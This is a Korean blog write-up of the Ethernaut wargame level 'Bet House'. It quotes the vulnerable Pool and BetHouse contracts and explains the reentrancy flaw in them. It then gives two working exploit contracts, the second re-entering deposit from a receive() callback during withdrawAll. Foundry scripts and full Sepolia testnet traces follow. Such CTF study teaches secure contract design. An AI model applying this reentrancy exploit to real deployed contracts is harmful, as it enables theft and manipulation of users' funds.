티스토리 뷰

Solidity/Hacking

[Ethernaut] 34. Bet House

piatoss 2025. 9. 27. 16:51

1. 문제

 

The Ethernaut

Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

ethernaut.openzeppelin.com

Welcome to the Bet House.

 

You start with 5 Pool Deposit Tokens (PDT).

 

Could you master the art of strategic gambling and become a bettor?

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol";

contract BetHouse {
    address public pool;
    uint256 private constant BET_PRICE = 20;
    mapping(address => bool) private bettors;

    error InsufficientFunds();
    error FundsNotLocked();

    constructor(address pool_) {
        pool = pool_;
    }

    function makeBet(address bettor_) external {
        if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
            revert InsufficientFunds();
        }
        if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
        bettors[bettor_] = true;
    }

    function isBettor(address bettor_) external view returns (bool) {
        return bettors[bettor_];
    }
}

contract Pool is ReentrancyGuard {
    address public wrappedToken;
    address public depositToken;

    mapping(address => uint256) private depositedEther;
    mapping(address => uint256) private depositedPDT;
    mapping(address => bool) private depositsLockedMap;
    bool private alreadyDeposited;

    error DepositsAreLocked();
    error InvalidDeposit();
    error AlreadyDeposited();
    error InsufficientAllowance();

    constructor(address wrappedToken_, address depositToken_) {
        wrappedToken = wrappedToken_;
        depositToken = depositToken_;
    }

    /**
     * @dev Provide 10 wrapped tokens for 0.001 ether deposited and
     *      1 wrapped token for 1 pool deposit token (PDT) deposited.
     *  The ether can only be deposited once per account.
     */
    function deposit(uint256 value_) external payable {
        // check if deposits are locked
        if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();

        uint256 _valueToMint;
        // check to deposit ether
        if (msg.value == 0.001 ether) {
            if (alreadyDeposited) revert AlreadyDeposited();
            depositedEther[msg.sender] += msg.value;
            alreadyDeposited = true;
            _valueToMint += 10;
        }
        // check to deposit PDT
        if (value_ > 0) {
            if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_) revert InsufficientAllowance();
            depositedPDT[msg.sender] += value_;
            PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
            _valueToMint += value_;
        }
        if (_valueToMint == 0) revert InvalidDeposit();
        PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
    }

    function withdrawAll() external nonReentrant {
        // send the PDT to the user
        uint256 _depositedValue = depositedPDT[msg.sender];
        if (_depositedValue > 0) {
            depositedPDT[msg.sender] = 0;
            PoolToken(depositToken).transfer(msg.sender, _depositedValue);
        }

        // send the ether to the user
        _depositedValue = depositedEther[msg.sender];
        if (_depositedValue > 0) {
            depositedEther[msg.sender] = 0;
            payable(msg.sender).call{value: _depositedValue}("");
        }

        PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
    }

    function lockDeposits() external {
        depositsLockedMap[msg.sender] = true;
    }

    function depositsLocked(address account_) external view returns (bool) {
        return depositsLockedMap[account_];
    }

    function balanceOf(address account_) public view returns (uint256) {
        return PoolToken(wrappedToken).balanceOf(account_);
    }
}

contract PoolToken is ERC20, Ownable {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) Ownable() {}

    function mint(address account, uint256 amount) external onlyOwner {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

2. 문제 해결 조건 확인

 bettor가 되라고 했으니, 당신(player)의 주소를 인자로 `isBettor` 함수를 호출했을 때 true가 반환되도록 만들어야 합니다.

function isBettor(address bettor_) external view returns (bool) {
    return bettors[bettor_];
}

 그리고 이를 실현시키기 위해서는 특정 조건을 만족시킨 상태에서 player의 주소를 인자로 `makeBet` 함수를 호출해줘야 합니다. 여기서 특정 조건이라 함은, `makeBet` 함수의 호출자(msg.sender)가 wrappedToken을 20만큼 들고 있어야 하며, 풀 컨트랙트에 예치된 사용자의 자금에 락이 걸려있어야 함을 의미합니다.

uint256 private constant BET_PRICE = 20;

function makeBet(address bettor_) external {
    if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
        revert InsufficientFunds();
    }
    if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
    bettors[bettor_] = true;
}
function balanceOf(address account_) public view returns (uint256) {
    return PoolToken(wrappedToken).balanceOf(account_);
}

 wrappedToken은 풀 컨트랙트의 `deposit` 함수를 호출하여 민팅할 수 있습니다. 문제는 표면상으로 wrappedToken의 최대 민틴 수량은 15로 제한되어 있네요. 0.001 이더를 사용해서 10개, 문제 인스턴스를 생성할 때 받은 depositToken 5개를 넘겨주고 5개를 받아서 총 15개. 모자라는 5개를 어떻게 긁어모아서 player를 bettor로 등록할 수 있는가가 이 문제를 해결하기 위한 관건이 되겠습니다.

 

/**
 * @dev Provide 10 wrapped tokens for 0.001 ether deposited and
 *      1 wrapped token for 1 pool deposit token (PDT) deposited.
 *  The ether can only be deposited once per account.
 */
function deposit(uint256 value_) external payable {
    // check if deposits are locked
    if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();

    uint256 _valueToMint;
    // check to deposit ether
    if (msg.value == 0.001 ether) {
        if (alreadyDeposited) revert AlreadyDeposited();
        depositedEther[msg.sender] += msg.value;
        alreadyDeposited = true;
        _valueToMint += 10;
    }
    // check to deposit PDT
    if (value_ > 0) {
        if (
            PoolToken(depositToken).allowance(msg.sender, address(this)) <
            value_
        ) revert InsufficientAllowance();
        depositedPDT[msg.sender] += value_;
        PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
        _valueToMint += value_;
    }
    if (_valueToMint == 0) revert InvalidDeposit();
    PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}

3. 단서 찾기

단서 1

`makeBet` 함수를 bettor 자기 자신이 아닌 다른 누군가가 대신 실행해 줄 수 있다는 사실. 아하, 스마트 컨트랙트를 사용해 공격할 수 있겠구나!

function makeBet(address bettor_) external {
    if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
        revert InsufficientFunds();
    }
    if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
    bettors[bettor_] = true;
}

단서 2

`withdrawAll` 함수에 기껏 재진입 공격 방지를 위한 modifier(noReentrant)를 지정해 놨지만, 정작 `deposit` 함수에는 별다른 조치를 취하지 않았다는 사실. 그리고 인출 로직을 먼저 실행하고 가장 마지막에 토큰을 burn 하고 있다는 사실. 이 서순 이슈로 인해 스마트 컨트랙트의 fallback 함수가 먼저 실행되는, 그래서 토큰이 burn 되기 전에 다른 복잡한 로직이 추가로 실행될 수 있다는 굉장히 치명적인 보안 문제가 발생할 수 있다는 사실.

function withdrawAll() external nonReentrant {
    // send the PDT to the user
    uint256 _depositedValue = depositedPDT[msg.sender];
    if (_depositedValue > 0) {
        depositedPDT[msg.sender] = 0;
        PoolToken(depositToken).transfer(msg.sender, _depositedValue);
    }

    // send the ether to the user
    _depositedValue = depositedEther[msg.sender];
    if (_depositedValue > 0) {
        depositedEther[msg.sender] = 0;
        payable(msg.sender).call{value: _depositedValue}("");
    }

    PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}

4. 공격

 단서는 충분히 주어졌으니 이제 player를 bettor로 등록해 보겠습니다.

 

 그런데 그전에 한 가지. 우리 인간은 머릿속에 들은 것이 많아질수록 피상적인 것에 꽂혀서 본질을 쉽게 망각하고 만다고 생각합니다.

 이 문제의 난이도를 보시면 별이 단 두 개. 사실 복잡하게 생각할 필요가 없습니다. 그냥 wrappedToken이라고 하는 ERC-20 표준 토큰 20개만 모으면 되거든요. 다음 항목들만 확인해 봅시다.

 

아무나 민팅이 가능한가? Yes

누구에게나 전송이 가능한가? Yes

그럼 다중이 돌려서 토큰 20개 모을 수 있는가? Yes

 

그냥 헛웃음나오게 간단하지만, 사실 비용적인 면에서 비효율적이긴 합니다. 굳이 돌려보실 필요는 없는데, 예시 코드만 아래 남겨놓을게요.

더보기

공격 컨트랙트:

contract Exploit {
    function exploit(address poolAddr, address playerAddr) external payable {
        if (msg.value != 0.002 ether) {
            revert("Invalid deposit amount");
        }

        Depositor depositor1 = new Depositor();
        Depositor depositor2 = new Depositor();

        depositor1.deposit{value: 0.001 ether}(poolAddr, playerAddr);
        depositor2.deposit{value: 0.001 ether}(poolAddr, playerAddr);
    }
}

contract Depositor {
    function deposit(address poolAddr, address playerAddr) external payable {
        if (msg.value != 0.001 ether) {
            revert("Invalid deposit amount");
        }

        Pool pool = Pool(poolAddr);

        pool.deposit{value: msg.value}(0);
        PoolToken(pool.wrappedToken()).transfer(playerAddr, 10);
    }
}

스크립트:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {BetHouse, Pool, PoolToken, Exploit} from "src/34.BetHouse.sol";

contract BetHouseScript is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        address instanceAddr = 0xba8192B7865310cd5229DE75BD67d47E91BF30d0;
        address playerAddr = msg.sender;

        BetHouse betHouse = BetHouse(instanceAddr);

        address poolAddr = betHouse.pool();

        Pool pool = Pool(poolAddr);

        // Deploy Exploit contract
        Exploit exploit = new Exploit();

        // Exploit
        exploit.exploit{value: 0.002 ether}(poolAddr, playerAddr);

        // Lock deposits
        pool.lockDeposits();

        // Make bet
        betHouse.makeBet(playerAddr);

        console.log("Bettor:", betHouse.isBettor(playerAddr));

        vm.stopBroadcast();
    }
}

진짜 공격

좀 더 비용효율적이고 알찬 공격용 컨트랙트입니다. 공격 시나리오는 다음과 같습니다.

  • Exploit2 컨트랙트를 배포한다.
  • exploit2 컨트랙트에게 5개의 depositToken을 전송한다.
  • `exploit` 함수를 호출한다. (0.001 ether 필요)
    • 0.001 ether와 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
      • exploit2 컨트랙트에서 15개의 wrappedToken이 민팅된다.
    • pool 컨트랙트의 `withdrawAll` 함수를 호출한다.
      • exploit 컨트랙트에게 5개의 depositToken이 전송된다.
      • exploit 컨트랙트에게 0.001 ether가 전송된다. exploit 컨트랙트의 receive 함수가 호출된다.
        • exploit 컨트랙트가 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
          • exploit2 컨트랙트에서 5개의 wrappedToken이 민팅된다. (총합 20개)
        • exploit 컨트랙트가 pool 컨트랙트의 `lockDeposits` 함수를 호출해 락을 건다.
        • exploit 컨트랙트가 bet house 컨트랙트의 `makeBet` 함수를 호출하여 player를 bettor로 등록한다.
        • 마지막으로, 앞서 인출된 이더를 player에게 야무지게 전송한다.
      • pool 컨트랙트가 depositToken의 `burn` 함수를 호출하여 exploit2 컨트랙트의 모든 토큰을 소멸시킨다.
  • 이렇게 exploit 함수의 실행이 종료되고, 모든 depositToken은 소멸되었지만, player는 bettor로 등록된 상태로 남는다.
contract Exploit2 {
    BetHouse betHouse;
    Pool pool;
    PoolToken depositToken;
    address player;

    constructor(address betHouseAddr, address playerAddr) {
        betHouse = BetHouse(betHouseAddr);
        pool = Pool(betHouse.pool());
        depositToken = PoolToken(pool.depositToken());
        player = playerAddr;
    }

    function exploit() external payable {
        if (msg.value != 0.001 ether) {
            revert("send 0.001 ether to this contract to exploit");
        }

        // check deposit token balance of this contract
        if (depositToken.balanceOf(address(this)) < 5) {
            revert("transfer 5 deposit tokens to this contract to exploit");
        }

        // deposit 5 deposit tokens and 0.001 ether
        // get 15 wrapped tokens
        depositToken.approve(address(pool), 5);
        pool.deposit{value: msg.value}(5);

        // withdraw all (0.001 ether and 5 deposit tokens)
        pool.withdrawAll();
    }

    // withdrawn ether will be caught here
    receive() external payable {
        // deposit 5 deposit tokens again
        // get 5 wrapped tokens, total count of wrapped tokens is 20
        depositToken.approve(address(pool), 5);
        pool.deposit(5);

        // lock deposits to ensure making bet is possible
        pool.lockDeposits();

        // make bet
        betHouse.makeBet(player);

        // withdraw ether
        player.call{value: address(this).balance}("");
    }
}

스크립트 작성

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {BetHouse, Pool, PoolToken, Exploit2} from "src/34.BetHouse.sol";

contract BetHouse2Script is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        address instanceAddr = 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93;
        address playerAddr = msg.sender;

        BetHouse betHouse = BetHouse(instanceAddr);

        PoolToken depositToken = PoolToken(
            Pool(betHouse.pool()).depositToken()
        );

        Exploit2 exploit2 = new Exploit2(instanceAddr, playerAddr);

        depositToken.transfer(address(exploit2), 5);

        exploit2.exploit{value: 0.001 ether}();

        bool isBettor = betHouse.isBettor(playerAddr);
        console.log("Is Bettor:", isBettor);

        vm.stopBroadcast();
    }
}

스크립트 실행

좀 달라진 부분이 있다고 한다면, foundry에 배치 실행 기능이 추가가 돼서 `--slow` 플래그를 추가해야만 하나 완료되고 다음 거 실행하고 이런 식으로 트랜잭션이 순차적을 실행됩니다. 이렇게 해야만 하고, 배치 기능은 EIP-7702랑 EIP-5792를 활용을 해야하는 것 같은데, 이건 나중에 알아봅시다. 

forge script script/34.BetHouse2.s.sol --account dev --sender 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF --rpc-url sepolia --slow -vvvv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.29
[⠊] Solc 0.8.29 finished in 770.21ms
Compiler run successful with warnings:
...
Traces:
  [1002142] BetHouse2Script::run()
    ├─ [0] VM::startBroadcast()
    │   └─ ← [Return]
    ├─ [2302] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::pool() [staticcall]
    │   └─ ← [Return] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427
    ├─ [2380] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositToken() [staticcall]
    │   └─ ← [Return] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f
    ├─ [568365] → new Exploit2@0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d
    │   ├─ [302] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::pool() [staticcall]
    │   │   └─ ← [Return] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427
    │   ├─ [380] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositToken() [staticcall]
    │   │   └─ ← [Return] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f
    │   └─ ← [Return] 2383 bytes of code
    ├─ [29929] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transfer(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
    │   ├─ emit Transfer(from: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
    │   └─ ← [Return] true
    ├─ [341340] Exploit2::exploit{value: 1000000000000000}()
    │   ├─ [626] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   └─ ← [Return] 5
    │   ├─ [24647] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::approve(0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   └─ ← [Return] true
    │   ├─ [130953] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::deposit{value: 1000000000000000}(5)
    │   │   ├─ [788] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::allowance(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427) [staticcall]
    │   │   │   └─ ← [Return] 5
    │   │   ├─ [27834] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transferFrom(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 0)
    │   │   │   ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   │   └─ ← [Return] true
    │   │   ├─ [48951] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::mint(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 15)
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 15)
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   ├─ [175032] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::withdrawAll()
    │   │   ├─ [23129] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transfer(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
    │   │   │   ├─ emit Transfer(from: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
    │   │   │   └─ ← [Return] true
    │   │   ├─ [133601] Exploit2::receive{value: 1000000000000000}()
    │   │   │   ├─ [22547] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::approve(0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [52114] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::deposit(5)
    │   │   │   │   ├─ [788] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::allowance(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427) [staticcall]
    │   │   │   │   │   └─ ← [Return] 5
    │   │   │   │   ├─ [25834] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transferFrom(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
    │   │   │   │   │   ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 0)
    │   │   │   │   │   ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ [3151] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::mint(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
    │   │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [20388] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::lockDeposits()
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [25423] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::makeBet(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF)
    │   │   │   │   ├─ [1414] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   │   │   ├─ [626] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] 20
    │   │   │   │   │   └─ ← [Return] 20
    │   │   │   │   ├─ [511] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositsLocked(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [55] 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF::fallback{value: 1000000000000000}()
    │   │   │   │   └─ ← [Stop]
    │   │   │   └─ ← [Stop]
    │   │   ├─ [626] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
    │   │   │   └─ ← [Return] 20
    │   │   ├─ [3221] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::burn(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 20)
    │   │   │   ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x0000000000000000000000000000000000000000, value: 20)
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [511] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::isBettor(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] console::log("Is Bettor:", true) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopBroadcast()
    │   └─ ← [Return]
    └─ ← [Stop]


Script ran successfully.

== Logs ==
  Is Bettor: true
  
...

##### sepolia
✅  [Success] Hash: 0x3ed29cb9fd537b07bbdb2e8e6fb31dee4e89d78e27a2d9e52c6d7dc743248ee0
Contract Address: 0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d
Block: 9289688
Paid: 0.000000680865851141 ETH (680857 gas * 0.001000013 gwei)


##### sepolia
✅  [Success] Hash: 0x042c1837a3fad997f2a6306b7fdaecd45a7307dda05e5baa7e59064fb73d3f51
Block: 9289689
Paid: 0.000000046701653814 ETH (46701 gas * 0.001000014 gwei)


##### sepolia
✅  [Success] Hash: 0x6f6fd7f0813c4d0ecec1bf351a5c6cf6a7e89be57412fd5d593fbeab4abc21e7
Block: 9289690
Paid: 0.000000295687843892 ETH (295684 gas * 0.001000013 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.000001023255348847 ETH (1023242 gas * avg 0.001000013 gwei)

제출


오늘의 교훈

서순 조심. Reentrancy Guard는 웬만하면 코어로직에는 다 붙이자.

전체 코드

 

GitHub - piatoss3612/Ethernaut: Ethernaut 문제 풀이 모음

Ethernaut 문제 풀이 모음. Contribute to piatoss3612/Ethernaut development by creating an account on GitHub.

github.com

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 33. Magic Animal Carousel  (0) 2025.10.08
[Ethernaut] 35. Elliptic Token  (0) 2025.10.04
[Ethernaut] 32. Impersonator  (1) 2024.11.23
Ethernaut 문제 풀이 및 키워드 정리  (0) 2024.06.27
[Ethernaut] 30. HigherOrder  (0) 2024.06.27
최근에 올라온 글
최근에 달린 댓글
«   2026/02   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
Total
Today
Yesterday
글 보관함